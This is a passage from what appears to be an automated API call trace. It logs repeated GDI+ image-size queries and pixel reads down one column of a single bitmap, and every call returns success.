(bitmap=0x1072230, x=0, y=22, color=0x1ceb50) returned 0x0 [0281.594] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.594] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=23, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=24, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=25, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=26, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=27, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=28, color=0x1ceb50) returned 0x0 [0281.595] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.595] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.595] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=29, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=30, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=31, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=32, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=33, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=34, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.596] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.596] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=35, color=0x1ceb50) returned 0x0 [0281.596] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=36, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=37, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=38, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=39, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=40, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.597] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=41, color=0x1ceb50) returned 0x0 [0281.597] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.597] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=42, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.598] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=43, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.598] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=44, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.598] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=45, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.598] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=46, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.598] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.598] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=47, color=0x1ceb50) returned 0x0 [0281.598] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=48, color=0x1ceb50) returned 0x0 [0281.599] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=49, color=0x1ceb50) returned 0x0 [0281.599] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=50, color=0x1ceb50) returned 0x0 [0281.599] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=51, color=0x1ceb50) returned 0x0 [0281.599] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=52, color=0x1ceb50) returned 0x0 [0281.599] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.599] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.599] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=53, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=54, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=55, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=56, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=57, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=58, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.600] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.600] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=59, color=0x1ceb50) returned 0x0 [0281.600] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=60, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=61, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=62, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=63, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=64, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=65, color=0x1ceb50) returned 0x0 [0281.601] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.601] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.601] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=66, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=67, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=68, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=69, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=70, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=71, color=0x1ceb50) returned 0x0 [0281.602] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.602] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.602] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=72, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=73, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=74, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=75, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=76, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=77, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.603] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.603] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=78, color=0x1ceb50) returned 0x0 [0281.603] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.604] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.604] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=79, color=0x1ceb50) returned 0x0 [0281.604] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.604] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.604] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=80, color=0x1ceb50) returned 0x0 [0281.604] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.604] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.604] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=81, color=0x1ceb50) returned 0x0 [0281.604] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.604] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.604] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=82, color=0x1ceb50) returned 0x0 [0281.606] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.607] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.607] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=83, color=0x1ceb50) returned 0x0 [0281.607] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.608] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.608] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=84, color=0x1ceb50) returned 0x0 [0281.609] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.609] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.609] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=85, color=0x1ceb50) returned 0x0 [0281.610] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.610] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.610] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=86, color=0x1ceb50) returned 0x0 [0281.611] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.611] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.611] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=87, color=0x1ceb50) returned 0x0 [0281.612] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.612] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.612] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=88, color=0x1ceb50) returned 0x0 [0281.613] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.613] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.613] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=89, color=0x1ceb50) returned 0x0 [0281.614] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.614] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.615] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=90, color=0x1ceb50) returned 0x0 [0281.615] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.615] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.616] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=91, color=0x1ceb50) returned 0x0 [0281.616] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.616] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.617] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=92, color=0x1ceb50) returned 0x0 [0281.617] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.617] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.618] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=93, color=0x1ceb50) returned 0x0 [0281.618] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.618] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.619] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=94, color=0x1ceb50) returned 0x0 [0281.619] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.619] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.620] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=95, color=0x1ceb50) returned 0x0 [0281.620] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.620] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.621] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=96, color=0x1ceb50) returned 0x0 [0281.621] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.621] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.622] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=97, color=0x1ceb50) returned 0x0 [0281.622] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.622] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.623] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=98, color=0x1ceb50) returned 0x0 [0281.623] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.624] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.624] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=99, color=0x1ceb50) returned 0x0 [0281.624] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.625] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.625] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=100, color=0x1ceb50) returned 0x0 [0281.625] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.626] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.626] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=101, color=0x1ceb50) returned 0x0 [0281.626] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.627] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.627] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=102, color=0x1ceb50) returned 0x0 [0281.627] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.628] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.628] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=103, color=0x1ceb50) returned 0x0 [0281.628] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.629] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.629] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=104, color=0x1ceb50) returned 0x0 [0281.629] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.630] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.630] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=105, color=0x1ceb50) returned 0x0 [0281.630] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.631] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.631] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=106, color=0x1ceb50) returned 0x0 [0281.631] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.632] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.632] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=107, color=0x1ceb50) returned 0x0 [0281.633] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.633] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.633] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=108, color=0x1ceb50) returned 0x0 [0281.634] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.634] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.634] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=109, color=0x1ceb50) returned 0x0 [0281.635] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.635] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.635] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=110, color=0x1ceb50) returned 0x0 [0281.636] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.636] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.636] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=111, color=0x1ceb50) returned 0x0 [0281.637] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.637] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.637] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=112, color=0x1ceb50) returned 0x0 [0281.638] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.638] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.638] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=113, color=0x1ceb50) returned 0x0 [0281.639] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.639] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.640] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=114, color=0x1ceb50) returned 0x0 [0281.640] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.640] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.641] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=115, color=0x1ceb50) returned 0x0 [0281.641] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.641] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.642] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=116, color=0x1ceb50) returned 0x0 [0281.642] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.642] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.643] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=117, color=0x1ceb50) returned 0x0 [0281.643] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.643] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.644] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=118, color=0x1ceb50) returned 0x0 [0281.644] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.644] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.645] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=119, color=0x1ceb50) returned 0x0 [0281.645] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.645] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.646] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=120, color=0x1ceb50) returned 0x0 [0281.646] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.646] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.647] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=121, color=0x1ceb50) returned 0x0 [0281.647] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.648] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.648] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=122, color=0x1ceb50) returned 0x0 [0281.648] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.649] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.649] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=123, color=0x1ceb50) returned 0x0 [0281.649] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.650] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.650] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=124, color=0x1ceb50) returned 0x0 [0281.650] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.651] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.651] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=125, color=0x1ceb50) returned 0x0 [0281.651] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.652] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.652] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=126, color=0x1ceb50) returned 0x0 [0281.652] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.653] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.653] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=127, color=0x1ceb50) returned 0x0 [0281.653] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.654] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.654] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=128, color=0x1ceb50) returned 0x0 [0281.654] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.655] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 [0281.655] GdipBitmapGetPixel (bitmap=0x1072230, x=0, y=129, color=0x1ceb50) returned 0x0 [0281.655] GdipGetImageWidth (image=0x1072230, width=0x1ceb40) returned 0x0 [0281.656] GdipGetImageHeight (image=0x1072230, height=0x1ceb40) returned 0x0 